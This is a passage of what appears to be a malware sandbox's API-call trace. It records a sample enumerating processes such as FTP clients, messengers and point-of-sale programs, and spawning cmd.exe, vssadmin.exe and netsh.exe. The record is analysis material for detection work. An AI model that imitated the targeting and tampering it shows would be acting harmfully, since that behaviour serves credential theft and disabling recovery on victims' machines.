th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0102.961] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0102.962] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0102.963] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0102.964] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0102.965] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0102.967] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0102.967] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0102.968] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0102.970] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0102.971] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0102.972] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0102.973] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0102.973] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0102.974] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0102.975] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0102.976] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0102.977] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0102.978] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0102.979] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0102.980] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0102.980] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0102.981] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0102.982] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0102.983] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0102.984] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0103.424] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0103.425] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0103.426] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0103.426] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0103.427] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0103.428] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0103.429] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0103.429] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0103.430] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0103.431] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0103.432] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0103.432] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0103.433] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0103.434] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hearts_walker_poet.exe")) returned 1 [0103.434] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lb_community.exe")) returned 1 [0103.435] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hispanic.exe")) returned 1 [0103.436] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0103.436] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1120, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.437] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0103.438] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0103.439] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0103.439] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0103.440] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0103.440] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0103.441] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0103.442] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0103.442] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0103.443] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0103.444] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0103.444] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0103.445] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0103.445] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0103.446] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0103.446] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0103.447] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0103.448] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0103.448] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 0 [0103.449] CloseHandle (hObject=0x224) returned 1 [0103.449] Sleep (dwMilliseconds=0x1f4) [0104.215] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x294 [0104.239] Process32FirstW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0104.245] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0104.255] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0104.258] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0104.264] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0104.269] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0104.271] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0104.273] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0104.276] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0104.280] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.286] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0104.286] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0104.287] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.287] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0104.288] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.289] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.289] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.290] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.291] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, 